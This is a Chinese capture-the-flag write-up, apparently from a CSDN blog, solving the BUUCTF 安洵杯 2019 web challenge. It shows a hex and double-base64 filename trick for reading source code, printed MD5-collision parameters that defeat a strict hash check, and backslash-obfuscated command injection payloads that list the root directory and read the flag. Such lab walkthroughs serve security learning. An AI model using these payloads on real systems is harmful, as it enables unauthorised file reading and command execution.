上来看到url两个参数直接sqlmap挂着扫,dirsearch和githack扫都没东西,然后sqlmap也没有成果
ctrl+U查看源码发现以base64编码输出了文件的内容,返回看url只有img参数有东西
这个东西看着就像base64编码,解码两次得到一串数字,可能还是什么东西我又解了一次,发现是十六进制转字符
结合刚才ctrl+U发现输出base64编码的文件内容,index.php里面多半有源码,我们需要按照上面这个相反方式把index.php 字符转16进制ascii,记得去掉空格,空格会影响编码结果,我就是吃了这个的亏!再两次base64编码后得到payload:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
输入到img参数中,把这串base64编码解码得到源码,正席开始!
主要解决正则匹配和md5强比较
md5强比较可以用这个,payload原理:原本payload字符串中含有多种空白符号,MD5加密后hash值相等(空白符号不影响md5值)。但是我们上传参数时会自动进行一次url解码,这样过后因为空白字符两个url就不相等了,从而成功绕过
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
burp修改请求方式,cmd传参dir列出当前目录文件(因为我试了ls不行哈哈哈),但是没有flag
接下来就得想办法绕过正则匹配了,看下根下有没有
这一堆匹配没有禁%,可以用空字符代替空格,但是禁用了非数字开头的,%a0不能用,%20代替空格;同时这里也没有禁用单个的反斜杠,构造payload:
cmd=l\s%20/
发现flag
构造payload:cmd=c\a\t%20/flag
读到flag
标签:编码,7b%,BUUCTF,base64,安洵,5f%,72%,2019,payload From: https://blog.csdn.net/weixin_73399382/article/details/140617664